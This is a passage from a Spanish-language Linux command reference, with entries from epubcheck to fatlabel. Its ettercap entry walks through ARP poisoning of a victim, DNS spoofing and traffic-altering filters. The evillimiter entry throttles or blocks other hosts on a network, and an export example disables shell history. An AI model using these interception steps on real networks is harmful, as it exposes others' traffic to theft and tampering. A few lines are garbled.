$ epubcheck --out archivo archivo.epub
guarda el informe en archivo en xml
```

```
$ epubcheck -e -w archivo.epub
solo muestra mensajes de gravedad, error y advertencia en la salida
```

## errno

[moreutils]. Muestra los errores de código y sus descripciones.

```
$ errno -l
Todo el listado
```

```
$ errno -s desconocido
Busca del listado el que contenga la descripción "desconocido"
```

## es2\_info

[= es2\_info.x86\_64-linux-gnu]. Muestra información sobre las extensiones OpenGL ES soportadas.

```
$ es2_info
```

## escputil

Ver nivel de tinta de las impresoras Epson

```
# escputil -i -u -r /dev/usb/lp0
Para ver niveles de tinta
```

```
# escputil -c -u -r /dev/usb/lp0
Limpiar cabezales
```

```
# escputil -n -u -r /dev/usb/lp0
Imprimir prueba de inyección
```

```
# escputil -h -u -r /dev/usb/lp0
Listar comandos y opciones
```

## esetroot

[eterm-utils]. Configura el fondo de Eterm para transparencia con administradores de ventanas distintos a Enlightenment. kEsetroot se proporciona para KDE.

```
$ esetroot -s /home/usuario/imagenes/imagen.jpg
Escala al tamaño de la pantalla
```

```
$ esetroot -b red -f /home/usuario/imagenes/imagen.jpg
Colorea en rojo la parte de la pantalla no ocupada por la imagen con la opción -f
```

otras opciones:

```
-c (Centrar la imagen)
-f (Respetando las proporciones)
-m (en mosaico)
```

## espeak

Hablando la terminal. Mismas opciones que aoss espeak.

```
$ echo {1..3}" sistemas quedaron y naturalmente eran linux " | espeak -ves -s 100
```

## et

[Eternal Terminal]. Shell remoto, que a diferencia de una sesión normal ssh, aunque se tenga un cambio de ip o un corte de red, se vuelve a conectar automáticamente sin interrumpir la sesión. En debian, añadir a /etc/apt/sources.list la línea:

```
deb https://mistertea.github.io/debian-et/debian-source/ stretch main
Y añadir la clave:
```

```
# curl -sS https://mistertea.github.io/debian-et/et.gpg | sudo apt-key add -
```

Instalar con el clásico:

```
# apt install et
```

## eterm

[eterm-utils]. Emulador de terminal en color diseñado por y para Enlightenment. Este terminal es altamente configurable y dispone de una gran cantidad de temas disponibles. Su gran característica principal son las transparencias. eterm-utils dispone de varios ejecutables que todos se lanzan con la primera letra en mayúscula: Esetroot [ver] y kEsetroot para kde, Etbg [establece la imagen de fondo de Eterm], Etbg\_update\_list [actualiza listas de mapas de píxeles para los menús], Etcors [muestra una tabla del mapa de colores actual], Etsearch [busca en el historial del búfer hacia atrás] y Etable [muestra el conjunto de caracteres de la fuente actual].

```
$ Eterm -D 1 -f green -O (En el segundo escritorio [-D 1] con las fuentes en verde [-f] y transparente [-O])
```

Algunas opciones:

```
--buttonbar false (Sin la barra del menú)
-T titulo de la terminal
-b yellow (color de fondo)
-c red (Color del cursor)
-g 50x10 (Medidas. 50 de largo por 10 de ancho)
-S (Abrir en todos los escritorios)
-e comando (Cuando termine de ejecutar el comando se cierra)
```

## etherwake

Arrancar un ordenador [especificado por su MAC] de forma remota una vez activado en la BIOS "Wake On Lan"

```
# etherwake -i eth0 00:16:E6:31:1A:22
```

## ethstats

muestra el uso y las estadísticas de nuestra red.

```
# ethstats
```

## ethstatus

Monitor de estadísticas de internet

```
# ethstatus
```

## ethtool

Averiguar/modificar la tarjeta de red

```
# ethtool eth0
Para ver la configuración actual de la tarjeta
```

```
# ethtool -i eth0
conocer el driver de la tarjeta de red
```

```
# ethtool --test eth0
Realizar un test de la tarjeta si está soportado
```

```
# ethtool -S eth0
Consultar estadísticas de la red
```

```
# ethtool -p eth0 10
Hacer parpadear los leds de la interfaz de red
```

## ethumb

Programa que crea miniaturas a partir de imágenes del fichero.

```
$ ethumb -f=png archivo.pdf
crear un thumbnail de un pdf en png
```

```
$ ethumb -p=3 -f=png archivo.pdf
tomando como imagen la página 3
```

## ettercap

[Dependencias: libcap2 libnet1 zlib1g libpthread-stubs0 libpcap-dev libcap-dev libnet6-1.3-0 libnet1-dev libssl-dev ncurses-bin libncurses5-dev libsdl-pango1 libatk1.0-dev]

Snifador de red. Muestra pantallas solicitando aceptación de certificado en los navegadores de las víctimas.

descargar de <http://ettercap.sourceforge.net/> y descomprimir

```
$ wget http://prdownloads.sourceforge.net/ettercap/ettercap-NG-0.7.3.tar.gz?download
$ wget http://sourceforge.net/projects/ettercap/files/ettercap/NG-0.7.3/ettercap-NG-0.7.3.tar.gz/download
$ tar -zxvf paquete
$ cd ettercap-NG-0.7.3
$ ./configure
$ make
# make install
```

```
$ ettercap -P list
visualizar plugins instalados
```

modificar archivo de configuración:

```
# nano /etc/etter.conf
```

descomentar la línea:himne20-01-13 19:37Menos información

```
# if you use iptables:
```

```
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
```

Y modificar:

```
# the command used by the remote_browser plugin
```

```
remote_browser = "firefox -remote openurl(http://%host%url)"
```

Para usar el plugin dns\_spoof (Redireccionar páginas a otros sitios)

```
# nano /usr/share/ettercap/etter.dns
# 3 Modos de especificar la redirección a localhost
microsoft.com      A      192.168.1.2
*.microsoft.com    A      192.168.1.2
*google*           A      192.168.1.2
Para la sustitución de imágenes:
```

```
# touch test2filter
```

Pegar:

```
if (ip.proto == TCP && tcp.src == 80) {
  replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
  replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
  msg("Filter ok.\n");
  Configurar el sistema para que acepte todos los paquetes que detecte. Si al lanzar:
```

```
# cat /proc/sys/net/ipv4/ip_forward
```

## E

Si la respuesta no es 1, lanzar:

```
# echo 1 > /proc/sys/net/ipv4/ip_forward
```

Arrancar la aplicación en ncurses [en terminal -> ettercap -T , en modo gtk -> ettercap -G y en modo demonio -> ettercap -D . En este último caso el análisis se realiza en los archivos de log]:

```
# ettercap -C
```

Clicar en:

```
Sniff -> Unifield sniffing
Y aceptar [o poner] la red [eth0]. En la nueva pantalla, clic en:
```

```
Host -> Scan for host
Para escanear la red. Para visionar las máquina activas obtenidas, clic en:
```

```
Hosts -> Hosts List
Bajar con el cursor hasta la IP del router y pulsar la tecla "1". Luego nos situamos sobre la IP
del objetivo y pulsar la tecla "2" con lo que colocamos nuestra máquina entre el router y la
máquina objetivo (envenenamiento arp). Luego en el cuadro que se abre con:
```

```
Mitm -> Arp poisoning
Parameters, ponemos:
```

```
remote
Y arrancamos el sniffer:
```

```
Start -> Start sniffing
Para observar las conexiones que realiza la máquina objetivo:
View -> Connections
Para terminar el ataque:
Mitm -> Stop mitm attack
Start -> Stop Sniffing
Start -> Exit
Forma abreviada:
```

```
# ettercap -Tq -M arp:remote -i eth0 ip_victima ip_router
O solo especificando la del router si se ataca toda la red:
```

```
# ettercap -Tq -M arp:remote -i eth0 ip_router
```

## eval

Toma los argumentos de la línea de comandos y los ejecuta como comandos.

\* Tenemos un texto con variables:

```
$ nano entrada_web.txt
```

```
Hola $NOMBRE, felices de verte por la web $BLOG
Y un script con el siguiente contenido:
```

```
#!/bin/bash
echo "¿Como te llamas? "
read NOMBRE
BLOG="lapipaplana.net"
eval "echo "$(cat ./entrada_web.txt)""
* Substituyendo las variables del script en el texto.
```

Otro ejemplo de uso de eval:

```
$ nano ejemplo.sh
```

```
#!/bin/bash
pipe="/ |"
#ls $pipe wc -l
eval ls $pipe wc -l
Descomentar la linea del "ls" y comentar la de "eval" y observar la diferencia entre ambas salidas
.
```

\* Otro ejemplo:

```
$ nano ejemplo.sh
```

```
#!/bin/bash
X=10
Y=X
#echo '$'$Y
eval echo '$'$Y
Descomentar la linea del "echo" y comentar la de "eval" y observar la diferencia entre ambas salidas.
```

## evillimiter

Análisis de la red local.

Descarga e instalación:

```
$ git clone https://github.com/bitbrute/evillimiter.git
$ cd evillimiter
# python3 setup.py install
```

```
# evillimiter
entrar en el prompt de la aplicación
```

```
(Main) >>> ? (muestra la ayuda)

(Main) >>> scan (escaner toda la red)

(Main) >>> scan --range 192.168.1.1-192.168.1.50 (escanear un rango de la red)

(Main) >>> scan --range 192.168.1.1/24

(Main) >>> hosts (ver los resultados del scan con la columna ID)

(Main) >>> limit 0,3 300kbit (Limita velocidad de las máquinas con ID 0 i 3 a 300kbits)

(Main) >>> limit all 1gbit (Limita la velocidad de todas las máquinas de la red a 1gbit))

(Main) >>> block 2 (Bloquea la máquina 2)

(Main) >>> free 2 (Libera el bloqueo de la máquina 2)

(Main) >>> free all (Libera todas las máquinas bloqueadas)

(Main) >>> clear (Limpiar la terminal)

(Main) >>> quit (Salir de la aplicación)
```

## evince

Visor de documentos capaz de mostrar documentos en formatos múltiples y paginados como PDFs y Postscripts.

```
$ evince -s archivo.pdf
en modo presentación
```

```
$ evince -p 5 archivo.pdf
abrir la página 5 del pdf
```

## evince-preview

Mostrar vista previa de impresión para documentos PostScript y PDF.

```
$ evince-preview archivo.pdf
```



## exa

Lista el contenido de un directorio de forma mejorada respecto al comando "ls" escrito en rust, coloreando de distintos tipos los archivos, metadatos, atributos, enlace simbólicos, git...

```
$ exa
forma básica
```

```
$ exa -T
de forma recursiva en forma de arbol
```

```
$ exa -R
de forma recursiva
```

```
$ exa -D
muestra el listado de directorios
```

```
$ exa -l
mostrando los metadatos de forma extendida
```

```
$ exa -l archivo
información de un fichero específico
```

```
$ exa -x
como el comando ls pero más coloreado
```

```
$ exa -F
clasifica el listado según tipo de archivo [* = ejecutable, .../ = directorio, @ = enlace...]
```

```
$ exa -a
mostrando archivos ocultos
```

```
$ exa -G -l /var
información de un directorio concreto y en varias columnas
```

```
$ exa -a --group-directories-first
el listado que empiece por los directorios
```

```
$ exa -G -l --octal-permissions /etc
incluir los permisos en octal
```

```
$ exa -R -s size
de forma recursiva y ordenar por tamaño
```

## exec

Ejecuta comandos.

```
$ exec firefox
```

## exif

Extraer metadatos de imágenes

```
$ exif -d imagen
mostrar todos los datos
```

```
$ exif -e imagen
extraer la foto miniatura
```

```
$ exif -r imagen
suprimir la foto miniatura
```

Nota.- Cuando se toma una imagen con una cámara fotográfica, esperamos que la imagen resultante tenga la misma orientación que pretendíamos. Esto significa que las imágenes de paisajes se muestran horizontalmente y las imágenes de retratos se muestran verticalmente en la pantalla. Pero, ¿cómo sabe la computadora (o la cámara) cómo se ha tomado una imagen?. La mayoría de los formatos de imagen contienen no solo el contenido, sino también información adicional sobre el contenido: los metadatos de la imagen. El formato de imagen JPEG puede contener metadatos EXIF [Exchangeable Image File Format], entre otras cosas como la lente, el modelo de cámara y la orientación de la imagen.

La orientación canónica es 1. Un valor de orientación de 1 significa que el contenido de la imagen existe exactamente en la forma en que queremos verlo en la pantalla. Supongamos que tenemos una cámara de fotos cuyo sensor tiene una relación de aspecto de 4:3. Cuando usamos la cámara para tomar una imagen en orientación horizontal, la imagen JPEG resultante tendrá un valor de orientación de 1. Sin embargo, cuando disparamos en modo retrato, los sensores de la cámara notan que la orientación ha cambiado. Los metadatos EXIF de la imagen resultante tendrán un valor de orientación de 8, si la cámara se giró en el sentido de las agujas del reloj, o 6, si la cámara se giró en el sentido contrario a las agujas del reloj. Asimismo, 3 es la orientación correspondiente para imágenes de paisajes al revés.

Hay casos en los que la cámara produce una imagen invertida, debido a restricciones del hardware de la cámara o a defectos del firmware. Por este motivo, existen otros cuatro valores de orientación posibles, Herramientas como `exifautotran` [ver] o `ImageMagick` permiten normalizar la orientación de las imágenes.

## exifautotran

Transforma los metadatos exif referentes a la orientación [vertical, horizontal ...] de una lista archivos Exif [ver nota exif] para que la orientación sea 1.

```
$ exifautotran file1 file2 file3
```

## exiftags

Muestra los datos exif de un jpg.

```
$ exiftags foto.jpg
```

## exiftool

Lee y extrae metadatos de imágenes

```
$ exiftool -a -u -g1 foto.png
```

```
$ exiftool -GPSAltitude="0/1" foto.jpg
```

Añadir tags a una imagen

```
$ exiftool -GPSLatitude="41.403339" foto.jpg
```

```
$ exiftool -GPSLatitudeRef="N" foto.jpg
```

```
$ exiftool -GPSLongitude="2.1740288" foto.jpg
```

```
$ exiftool -GPSLongitudeRef="E" foto.jpg
```

```
$ exiftool -TagsFromFile imagen_datos.jpg imagenFinal.jpg
```

Copia los datos Exif de la foto "imagen\_datos.jpg" a la foto "imagenFinal.jpg"

## exim

Agente de transporte de correo.

```
$ exim -bp
```

Lista los correos en cola

```
$ exim -bpc
```

Muestra la cantidad de correos en cola

```
$ exim -bp | exiqsumm
```

Muestra resumen de los correos en cola

```
$ exim -Mrm 1X62E1-0006CU-61
```

Eliminar un correo concreto por su ID

```
$ exim -Mf 1X62E1-0006CU-61
```

## E

```
Congelar un correo
```

```
$ exim -M 1X62E1-0006CU-61
```

```
Procesar un correo
```

```
$ exiqgrep -z -i | xargs exim -Mrm
```

```
Eliminar todos los correos congelados
```

```
$ exiwhat
```

```
Mostrar qué está haciendo exim en este momento
```

```
$ exim -bt 1X62E1-0006CU-61
```

```
Hacer un traceroute a una dirección de correo
```

```
$ exim -Mvh 1X62E1-0006CU-61
```

```
Ver cabeceras de un correo
```

```
$ exim -Mvb 1X62E1-0006CU-61
```

```
Ver el cuerpo de un correo
```

```
$ exim -Mvl 1X62E1-0006CU-61
```

```
Ver los logs de un correo
```

```
$ exim -qff
```

```
Forzar cola de correo
```

## exit

Salir del interprete de comandos.

## exo-open

Abrir urls o aplicaciones determinadas en XFCE.

```
$ exo-open --launch TerminalEmulator
```

```
abrir la terminal
```

```
$ exo-open URL
```

```
abrir la url con el navegador predeterminado
```

```
$ exo-open --launch FileManager
```

```
el navegador de archivos
```

## expand

Convierte los tabuladores a espacios. Elimina las tabulaciones y los reemplaza por espacios en blanco. Por defecto las tabulaciones son de 8 espacios en blanco.

```
$ expand -t 5 texto.txt
```

```
Convierte las tabulaciones en 5 espacios en blanco
```

```
$ expand -i -t 5 texto.txt
```

```
Sólo afecta a las tabulaciones de principio de línea
```

## expiry

Chequea cuando caducan las contraseñas de usuario [si son temporales]

```
$ expiry -c
```

## expect

Herramienta para automatizar aplicaciones interactivas (telnet, ftp, passwd, fsck, rlogin, tip, etc) de acuerdo con un script.

## export

Exporta, almacena y lista variables. Para que los cambios sean permanentes, colocar la linea en .bashrc.

```
$ export -p
mostrar todas las variables
```

```
# export PATH=${PATH}:/usr/local/bin
incluir un dir en el path
```

```
$ export TMOUT=60
Establece 60 segundos de inactividad antes de cerrar una sesión ssh
```

```
$ export HISTCONTROL=ignoreboth:erasedups
no escribir en el history ni los comandos que empiecen por espacio, ni los duplicados y que además
los elimine, dejando siempre el último
```

Opciones para HISTCONTROL:

ignorespace: No guarda en history los comandos que empiecen por espacio.

```
ignoredups: No guarda los comandos repetidos.
ignoreboth: Alias para los dos parámetros anteriores.
erasedups: Elimina los comandos duplicados dejando el último ejecutado.
```

```
$ export HISTFILE=/home/usuario/histfile.txt
redirigir los comandos ejecutados durante una sesión a un archivo
```

```
$ export HISTFILE=/dev/null
Para no guardar el history de la sesión
```

```
$ export HISTFILE=/dev/null bash
abrir otra sesión que no almacene los comandos sin perder los de la actual
```

```
$ export PS1="[\u@\`curl icanhazip.com` \W]$ "
Excentricidad: que el prompt diga la ip externa.
```

```
$ export LANG=C; gedit
Lanzar una aplicación con un locale concreto
```

## expr

Permite realizar operaciones aritméticas.

```
$ expr 2 + 3
```

```
$ expr 2 \* 3
Para la multiplicación ha de anteponerse al signo la barra \
```

```
$ expr 12 / 2
```

```
$ sum=`expr 5 + 3`; expr $sum \* 2
Enlazar operaciones
```

## expresiones-regulares

[regex o patrones]. Buscar cadenas de texto que coinciden con un patrón. Los comandos más usuales que las emplean son grep, find, sed y awk y cada uno con sus peculiaridades. Para ilustrar dichas expresiones se usa un archivo de texto al que llamo file.

```
$ cat file
```

```
# /etc/fstab: static file system information.
UUID=deld7793-c3d2-4e03-b79d-1a76905619e6 /          ext4      errors=remount-ro 0
1
UUID=ccc71238-d89d-435b-a4e2-c2d836f800bb none        swap      sw          0
0
/dev/sr0          /media/cdrom0    udf,iso9660 user,noauto    0          0
/dev/sda5         /media/datos     ext4  defaults      0          0
/dev/sda7         /media/fotos     ext3  defaults      0          0
servidor:/home/templix /media/servidor  nfs4 defaults  0          0
### Otras cosas
7592 esto es un número....
la letra z es la última
aminora
mediaplayer es un reproductor
tres cincos hace 555
salta la rana
aRmARIO
```

Nota.- Los siguientes ejemplos se basarán en el comando grep. En algunos casos, al corresponder a expresiones regulares extendidas, se usará con el argumento -E. Las expresiones regulares han de ir siempre encerradas con comillas simples.

```
Literales (Sólo encajan con ellos mismos)
$ grep 'media' file (mostrara las lineas que contengan "media" incluso "
mediaplayer")
$ grep '\<media\>' file (Sólo mostrará las que contengan exactamente "media")
. [punto] (Cualquier caracter)
$ grep 'me.ia' file (Misma salida que el anterior)
$ grep '\<m...a\>' file (Mostrar las de cinco letras que empiecen por "m" y
terminen en "a")
$ grep 'm...a\>' file (Mostrar las lineas que contengan una palabra de cinco
letras que empiece por "m" y termine con "a" sin nada a continuación)
[] [Corchetes] (Cualquier caracter de los encerrados entre corchetes)
$ grep '[wz]' file (Mostras las que contengan "w" o "z")
$ grep 'sda[0-9]' file (Mostrar las lineas con palabras que empiecen por sda
seguidas de un número del 0 al 9)
$ grep '[0-9]-' file (Buscar lineas que tengan un número seguido de un -)
| [Tuberia] (Especificar varias opciones)
$ grep -E 'e(xt|rvi)(3|dor)' file (Mostrar las que contengan ext3 y ervidor [
servidor])
$ grep -E 'datos|servidor' file (Mostrar las que tengan las palabras "datos" y "
servidor")
- [Guión] (Siempre que no siga a un corchete, especifica un rango)
$ grep '[0-2]$\>' file (Lineas que contengan los números 0,1 y 2)
^ [Circunflejo] (Si va precedido de un corchete significa "todo lo que no sea lo que sigue
". En los demás casos significa "que la línea empiece por lo que sigue)
$ grep '^UUID' file (Mostrar las que empiecen por UUID)
$ grep ':[^/]' file (Las que tengan ":" y no vayan seguidos de una "/" )
$ grep -e '^UUID' -e '^\/' file (Mostrar las que empiecen por UUID y por / . La
barra de escape [\] convierte al siguiente caracter en literal)
$ [Dolar] (Indica que el carácter precedente aparece al final de la línea)
$ grep '0$' file (Muestra las que terminen en 0)
grep '\.$' file (Muestra las lineas que terminan con un punto)
+ [Signo más] (Una o más veces).
$ grep -E '\-[0-9]+' file (Buscar las lineas con varios números precedidos por un
guión [que ha de escaparse con una barra])
* (Asterisco) (Ninguna o más veces)
$ grep -E '(fot).*' file (Mostrar las que tengan "fot" y puedan estar o no
seguidas de otros caracteres)
? (Interrogante) (Un caracter impreciso)
$ grep -E 'ext4?' file (indica que el caracter anterior [el 4] puede ser distinto
de 4 o puede no existir, o sea que mostrará lineas que contengan ext4, ext3,
ext...)
{n,m} [Llaves] (Que el caracter anterior a la llave se muestre las veces que indica entre
el número n y el m. Si omitimos m significa como mínimo n veces.
$ grep '5{2,5}\.*' file (Que se muestre las lineas que tengan un 5 entre dos y
cinco veces. Las llaves se escapan)
$ grep '5{3}\.*' file (Muestra las lineas en las que el 5 sale tres veces)
$ grep '5{3,}\.*' file (Muestra las lineas en las que el 5 sale como mínimo tres
veces)
```

## E

```
b (Que lo precedente sea el final de una palabra. Siempre ha de escaparse.)
$ grep 's\b' file (Muestra las líneas que contienen alguna palabra acabada en "s")
Otros ejemplos:
```

Buscar las líneas que no empiecen por #:

```
$ grep -v '^#' file
Mostrar líneas que empiecen por # y las que terminen en 0:
```

```
$ grep -E '^#|0$' file
Buscar líneas que tengan : seguidos de una barra que ha de escaparse:
```

```
$ grep ':\/' file
Buscar las líneas que tengan una "o" seguida de al menos 3 dígitos:
```

```
$ grep 'o[0-9]\{3\}' file
Buscar líneas que tengan algún dígito:
```

```
$ grep '[:digit:]' file
Buscar líneas que empiecen por un carácter alfabético:
```

```
$ grep '^[:alpha:]' file
Buscar líneas que tengan "ext" usando parentesis:
```

```
$ grep '\(ext\)' file
Buscar líneas que tengan un número entre 2 y 9 al menos una vez y esten precedidos de espacio,
tabulación o salto de línea:
```

```
$grep -E '\s[2-9]+' file
Mostrar líneas con entre 3 y 6 letras mayúsculas:
```

```
$ grep '[A-Z]\{3,6\}' file
Algunos casos comentados:
```

1.-

```
$ touch nada.8.sh.5
```

```
$ ls | grep '.*[6-8].*[1-6]'
Nota.- Cuando se usen con el comando grep han de ir siempre encerradas con comillas simples.
```

```
.* (Cero o más caracteres. El punto inicial es imprescindible)
.[6-8] (Seguidos de un punto y un número que contenga entre el 6 y el 8)
.* (seguido un punto y cero o más caracteres)
.[1-6] (y terminado con un punto seguido de un número que contenga del 1 al 6)
Nota.- Los corchetes NO indican UN número de un dígito sino un número que contenga el margen
especificado [6,7,8 para el primer corchete y 1,2,3,4,5,6 para el segundo, por tanto también
listaría el archivo nada.0357.sh.389 pero no nada.0352.sh.389 porque el número 0352 no
contiene ninguno del margen especificado.
```

Nótese la diferencia en la expresión regular usando el comando mv [sin comillas simples y sin el punto delante del primer asterisco]:

```
$ mv *.*[6-8].*[1-6] prueba
2.-
```

Buscar en el directorio scripts, todos los que sean de bash:

```
$ grep -i '^#.*bash' scripts/*
^#.*bash (Que el primer carácter de la primera línea sea # y que después de cero o
más caracteres aparezca la palabra bash)
$ grep -i '$.*bash' scripts
$.*bash (En todos los ficheros del directorio, que al final de la primera línea
y después de cero o más caracteres aparezca la palabra bash)
3.-
```

Ver los correos electrónicos completos de una lista en la que los hay incompletos:

```
$ cat lista
```

```

juangomez@gmail.com
clarafuentes@
@yahoo.es
ant.rodri-perez@hotmail.nadadenada
pedro@blog.empresa.travel
$ grep -E '^[a-zA-Z._-]+@[a-zA-Z0-9]+\.[a-z]+$' lista
^[a-zA-Z._-]+ (Que empiece con una palabra que pueda contener mayúsculas,
minúsculas, puntos, guiones o guiones bajos)
@ (Seguida de una @ literal)
[a-zA-Z0-9]+ (A continuación varios caracteres que pueden ser mayúsculas,
minúsculas, puntos o números)
\.. (Después un punto literal)
[a-z]+$ (Para terminar, uno o varios caracteres en minúscula)
$ grep -E '^[a-zA-Z._-]+@[a-zA-Z0-9]+\.[[:alpha:]]{2,3}$' lista (Sólo mostrará las que
terminen con 2 o 3 letras)

```

## ext4magic

Recuperación de ficheros ext3 y ext4 borrados o sobrescritos.

```

# ext4magic /dev/sda2 -m -d . -f user
recuperar sólo los archivos borrados [-m] de nuestra $HOME [/dev/sda2], el resultado en el
presente directorio [-d .] y del usuario "user" [-f]

```

Algunas opciones:

-M (Emplear esta opción cuando se ha borrado todo el sistema de ficheros)

## extundelete

[e2fsprogs, e2fslibs, e2fslibs-dev, g++, build-essential]. Recuperación de archivos o directorios borrados. La partición sobre la que se actúa ha de estar desmontada. Descargar la aplicación de <<http://extundelete.sourceforge.net/>> e instalarla con el clásico ./configure, make, sudo make install.

```

# extundelete /dev/sdall --restore-directory /datos/dir_borrado
recuperar el directorio dir_borrado de la partición /dev/sdall. Lo guardará en el directorio
RECOVERED_FILES

```

```

# extundelete /dev/sdall --restore-file /datos/imagenes/foto.png -o fotos/
recuperar un archivo y guardarlo en el directorio fotos

```

```

# extundelete /dev/sdall --restore-all
recuperar toda una partición

```

```

# extundelete /dev/sdall --restore-files files
recuperar de la partición /dev/sdall los archivos enumerados en "files" a razón de uno por línea

```

## eza

Moderno reemplazo del clásico ls y el no mantenido exa.

```

$ eza
mostrar archivos y directorios sin los ocultos

```

```

$ eza -l --group-directories-first
como el anterior pero los directorios primero

```

```

$ eza -D
solo mostrar los directorios

```

```

$ eza -a
mostrar todos incluidos los ocultos

```

```

$ eza -T
en forma de árbol

```

---

## F

---

### f3

[Fight Flash Fraud o Fight Fake Flash]. Prueba la capacidad total de una tarjeta flash [unidad flash, disco flash, pendrive] para comprobar si coincide con las características que debería tener. f3 escribe en la tarjeta y luego comprueba si puede leerla. No respeta los contenidos de la unidad o sea que es preferible que este vacía. Consta de varios ejecutables: f3brew, f3fix, f3probe, f3read y f3write.

```
# f3brew /dev/sda
detecta si el dispositivo es una unidad falsa
```

```
# f3probe /dev/sda
identificar de forma rápida los falsos pendrives/tarjetas y ver su tamaño real
```

```
# f3fix /dev/sda
comprobar la capacidad real del dispositivo que podemos utilizar para no perder datos
```

```
# f3write /dev/sda
escribe archivos de gran tamaño en el dispositivo
```

```
# f3read /dev/sda
Se encarga de comprobar que lo que ha escrito es correcto
```

Algunas opciones que pueden aplicarse a algunos ejecutables:

```
--destructive (obvia el contenido de la unidad para que el testeo sea más rápido)
```

```
--time-ops (mostrar información sobre la duración de la comprobación)
```

### factor

Muestra información del sistema tanto aspectos de hardware como de software.

```
$ factor
Muestra la totalidad de la información
```

```
$ factor architecture kernel hardwaremodel kernelrelease ipaddress lsbdistdescription
Muestra sólo los aspectos especificados
```

### factor

Sacar todos los factores de un número.

```
$ factor 100
```



## fail2ban

Cortafuegos. Habilitar los servicios en los que se quiera que actúe el cortafuegos [ssh, apache2, ftp....] editando /etc/fail2ban/jail.conf y substituyendo el false por true. Algunos parámetros de este archivo son:

```
ignoreip (lista de IPs separadas por un espacio en blanco que no serán bloqueadas)
bantime (tiempo en segundos que un host permanecerá bloqueado)
maxretry (número máximo de intentos de login fallidos antes de ser bloqueado)
filter (filtro usado según el archivo /etc/fail2ban/filter.d)
logpath (archivo que utiliza para revisar los intentos de login)
```

Un ejemplo muestra de configuración para el servicio ssh:

```
[ssh]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
```

```
# tail -f /var/log/fail2ban.log | grep Ban
monitorizar las ip baneadas
```

```
# awk '($NF) = /Ban/){print $NF}' /var/log/fail2ban.log | sort | uniq -c | sort
Solo muestra las Ips.
```

```
# awk '($NF) = /Ban/){print $NF,"("$NF")"}' /var/log/fail2ban.log | sort | logresolve | uniq -c | sort
Mostrando el nombre del host
```

```
# systemctl status fail2ban
comprobar el estado de fail2ban
```

```
# fail2ban-client status
comprobar los servicios activos
```

```
# fail2ban-client -i
entrar en el prompt de fail2ban
```

```
# fail2ban-client status sshd
comprobar bloqueos de ips por ataques a ssh
```

```
# fail2ban-client set mysqld-auth unbanip IP
borrar una ip bloqueada del servicio mysql-auth
```

```
# fail2ban-testcases
realizar un test general)
```

1.-

Bloquear errores w00tw00t.at.ISC.SANS en los logs de apache. En realidad estas peticiones no acaban en ningún ataque concreto. Están producidos por el escaner de puertos Dfind que al generar sus peticiones coloca "w00tw00t.at.ISC.SANS.Dfind".

Crear el archivo:

```
# nano /etc/fail2ban/filter.d/apache-w00tw00t.conf
```

Pegar el siguiente contenido:

```
[Definition]
failregex = ^.*\[client <HOST>\].*w00tw00t\.at\.ISC\.SANS\.*.*
ignoreregex =
Añadir la jaula:
```

```
# nano /etc/fail2ban/jail.conf
```

Y pegar:

```
[apache-w00tw00t]
enabled = true
filter = apache-w00tw00t
action = iptables-allports[name=w00tw00t]
logpath = /var/log/apache*/error.*.log
maxretry = 1
bantime = -1
Nota.- el bantime = -1 indica bloquear permanentemente.
```

## F

---

2.-

Algunos ajustes de jail.conf para el caso de usar nginx y no apache:

```
# nano /etc/fail2ban/jail.conf
```

Prevenir ataques de inyeccion de codigo

```
[php-url-fopen]
enabled = true
port    = http,https
filter  = php-url-fopen
logpath = /var/log/nginx/access_log
maxretry = 1
Bloquea por iptables un día a los hosts que se conectan haciendo uso de un "User Agent"
sospechoso
```

```
[nginx-badbots]
enabled = true
filter  = apache-badbots
action  = iptables-multiport[name=BadBots, port="http,https"]
logpath = /var/log/nginx/*access*.log
bantime = 86400
maxretry = 1
Solicitar 240 páginas en 1 minuto o 4 paginas segundo, bloqueo por dos dias
```

```
[nginx-dos]
enabled = true
port    = http,8090
filter  = nginx-dos
logpath = /var/log/nginx/access.log
findtime = 60
bantime  = 172800
maxretry = 240
Fallar la autenticación en el servidor web, bloqueo por 10 minutos
```

```
[nginx-auth]
enabled = true
port    = http
filter  = nginx-auth
```

## faillock

Herramienta para visualizar y modificar la autenticación archivos de registro de fallas. Muy parecida a faillog.

```
# faillock --dir /var/log
directorio donde se guardan los registros de intentos fallidos
```

```
# faillock --user USER
```

## faillog

El módulo pam\_faillock.so mantiene una lista de intentos fallidos de autenticación por usuario durante un intervalo especificado y bloquea la cuenta en caso de que hubiera varios intentos consecutivos de autenticaciones fallidas.

```
# faillog -u USER
de un usuario
```

```
# faillog -r -u USER
borrar los registros del usuario mencionado
```

```
# faillog -a
todos
```

## faked-tcp

[fakeroot]. Demonio que recuerda la propiedad/permisos falsos de archivos manipulados por procesos fakeroot.

```
# faked-tcp --debug
muestra información por pantalla
```

## fakeroot

Ejecuta comandos en un entorno que simula privilegios de root. No aumenta los privilegios de un usuario ni disminuye la seguridad del sistema. Este paquete consta de los ejecutable: faked-sysv, faked-tcp, fakeroot-sysv y fakeroot-tcp

```
$ fakeroot -u dpkg-repack paquete
Crea un archivo .deb a partir de un paquete instalado en el sistema.
```

```
$ fakeroot /bin/bash
ejecutar bash como root
```

## false

Este comando no hace nada excepto devolver un estado de salida 1 (fail). Se utiliza como marcador de posición en scripts.

## falselogin

Tipo de 'shell' que no permite al usuario iniciar sesión.

```
$ falselogin
muestra el mensaje, que puede modificarse, de /etc/falselogin.conf
```

```
$ falselogin --wait 5
espera 5 segundos antes de cerrarse
```

## fallocate

Manipular el espacio de disco asignado a un archivo.

```
$ fallocate -l 20G archivo.txt
Como si el archivo.txt tuviera 20G
```

## fatattr

Permite ver y/o modificar los atributos MSDOS en un sistema de archivos FAT empleando los signos + para otorgar y - para quitar. Dichos premisos son:

```
r (Solo lectura)

a (Archivo)

s (Archivo del sistema)

h (Oculto)

d (Directorio)

v (Etiqueta de volumen)
```

## F

```
$ fatattr /media/usb1/*  
Muestra los atributos
```

```
$ fatattr -s /media/usb1/*  
Quita el atributo oculto de todo el usb
```

```
$ fatattr +s /media/usb1/*  
Oculta todos los archivos del usb
```

## fatlabel

Establecer u obtener la etiqueta del sistema de archivos MS-DOS o la ID del volumen.

```
$ fatlabel /dev/sda1  
Obtener la etiqueta de una partición FAT32
```

```
$ fatlabel /dev/sda1 Nueva-etiqueta  
